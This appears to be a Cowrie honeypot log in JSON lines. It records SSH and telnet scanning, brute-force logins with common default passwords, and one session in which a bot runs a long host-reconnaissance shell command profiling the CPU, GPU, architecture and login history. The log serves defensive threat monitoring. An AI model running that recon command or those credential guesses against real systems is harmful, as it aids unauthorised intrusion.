{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:08:26.369729Z","src_ip":"14.177.234.24","session":"321f277aac39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome123$","message":"login attempt [root/Welcome123$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:08:27.400939Z","src_ip":"14.177.234.24","session":"321f277aac39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:08:28.648208Z","src_ip":"14.177.234.24","session":"321f277aac39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.251423835754395,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:08:32.092494Z","src_ip":"170.64.224.25","session":"48afd96ceb30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":48652,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb63daaae5e8","protocol":"ssh","message":"New connection: 51.250.105.222:48652 (10.17.0.5:22) [session: eb63daaae5e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:08:39.750572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:08:39.754422Z","src_ip":"51.250.105.222","session":"eb63daaae5e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:08:39.881834Z","src_ip":"51.250.105.222","session":"eb63daaae5e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:08:40.266328Z","src_ip":"51.250.105.222","session":"eb63daaae5e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:08:41.396722Z","src_ip":"51.250.105.222","session":"eb63daaae5e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":50712,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5dfa3d36888","protocol":"ssh","message":"New connection: 91.92.40.4:50712 (10.17.0.5:22) [session: e5dfa3d36888]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:08:50.374464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:08:50.378506Z","src_ip":"91.92.40.4","session":"e5dfa3d36888","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:08:50.459700Z","src_ip":"91.92.40.4","session":"e5dfa3d36888","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.185.133.196","src_port":61918,"dst_ip":"10.17.0.5","dst_port":23,"session":"8de619a24b81","protocol":"telnet","message":"New connection: 147.185.133.196:61918 (10.17.0.5:23) [session: 8de619a24b81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:08:50.693704Z"}
{"eventid":"cowrie.login.success","username":"oracle","password":"password123","message":"login attempt [oracle/password123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:08:50.707549Z","src_ip":"91.92.40.4","session":"e5dfa3d36888","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:08:51.134228Z","src_ip":"91.92.40.4","session":"e5dfa3d36888","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:08:51.137043Z","src_ip":"91.92.40.4","session":"e5dfa3d36888","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:08:51.140616Z","src_ip":"91.92.40.4","session":"e5dfa3d36888","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:08:51.144124Z","src_ip":"91.92.40.4","session":"e5dfa3d36888","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/usr/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /usr/bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:08:51.147245Z","src_ip":"91.92.40.4","session":"e5dfa3d36888","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"busybox uname -s -v -n -m 2 > /dev/null","message":"CMD: busybox uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:08:51.151320Z","src_ip":"91.92.40.4","session":"e5dfa3d36888","protocol":"ssh"}
{"eventid":"cowrie.command.success","input":"uname -s -v -n -m","message":"Command found: uname -s -v -n -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:08:51.153988Z","src_ip":"91.92.40.4","session":"e5dfa3d36888","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"( [ -f /proc/version ]","message":"CMD: ( [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:08:51.156808Z","src_ip":"91.92.40.4","session":"e5dfa3d36888","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /proc/version ]","message":"CMD: [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:08:51.160036Z","src_ip":"91.92.40.4","session":"e5dfa3d36888","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"head -1 /proc/version | cut -d -f1","message":"CMD: head -1 /proc/version | cut -d -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:08:51.164286Z","src_ip":"91.92.40.4","session":"e5dfa3d36888","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /etc/os-release ]","message":"CMD: [ -f /etc/os-release ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:08:51.167909Z","src_ip":"91.92.40.4","session":"e5dfa3d36888","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","size":356,"shasum":"4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:08:51.261906Z","src_ip":"91.92.40.4","session":"e5dfa3d36888","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:08:51.346550Z","src_ip":"91.92.40.4","session":"e5dfa3d36888","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":59502,"dst_ip":"159.203.135.109","dst_port":22,"session":"870b8e8fb3d5","protocol":"ssh","message":"New connection: 160.187.174.22:59502 (159.203.135.109:22) [session: 870b8e8fb3d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:08:51.746440Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:08:51.751251Z","src_ip":"160.187.174.22","session":"870b8e8fb3d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:08:51.993277Z","src_ip":"160.187.174.22","session":"870b8e8fb3d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elsearch","password":"elsearch","message":"login attempt [elsearch/elsearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:08:52.768099Z","src_ip":"160.187.174.22","session":"870b8e8fb3d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:08:54.014600Z","src_ip":"160.187.174.22","session":"870b8e8fb3d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":9.891257286071777,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:09:00.584853Z","src_ip":"147.185.133.196","session":"8de619a24b81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":65.11348342895508,"message":"Connection lost after 65 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:09:00.849812Z","src_ip":"107.6.151.170","session":"597e7f900c65","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":46124,"dst_ip":"159.203.135.109","dst_port":23,"session":"71b4c24d284d","protocol":"telnet","message":"New connection: 170.64.224.25:46124 (159.203.135.109:23) [session: 71b4c24d284d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:09:07.968195Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":40554,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee3634576b22","protocol":"ssh","message":"New connection: 160.187.174.22:40554 (159.203.135.109:22) [session: ee3634576b22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:09:20.670182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:09:20.674710Z","src_ip":"160.187.174.22","session":"ee3634576b22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:09:20.941199Z","src_ip":"160.187.174.22","session":"ee3634576b22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"123456","message":"login attempt [nginx/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:09:21.654369Z","src_ip":"160.187.174.22","session":"ee3634576b22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:09:22.910380Z","src_ip":"160.187.174.22","session":"ee3634576b22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":57454,"dst_ip":"159.203.135.109","dst_port":23,"session":"b16c69deb2db","protocol":"telnet","message":"New connection: 170.64.224.25:57454 (159.203.135.109:23) [session: b16c69deb2db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:09:33.861248Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":57466,"dst_ip":"159.203.135.109","dst_port":23,"session":"88dacc2de494","protocol":"telnet","message":"New connection: 170.64.224.25:57466 (159.203.135.109:23) [session: 88dacc2de494]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:09:34.879110Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.200.19","src_port":23202,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2f99f15ebab","protocol":"ssh","message":"New connection: 43.160.200.19:23202 (159.203.135.109:22) [session: d2f99f15ebab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:09:35.432125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:09:35.435845Z","src_ip":"43.160.200.19","session":"d2f99f15ebab","protocol":"ssh"}
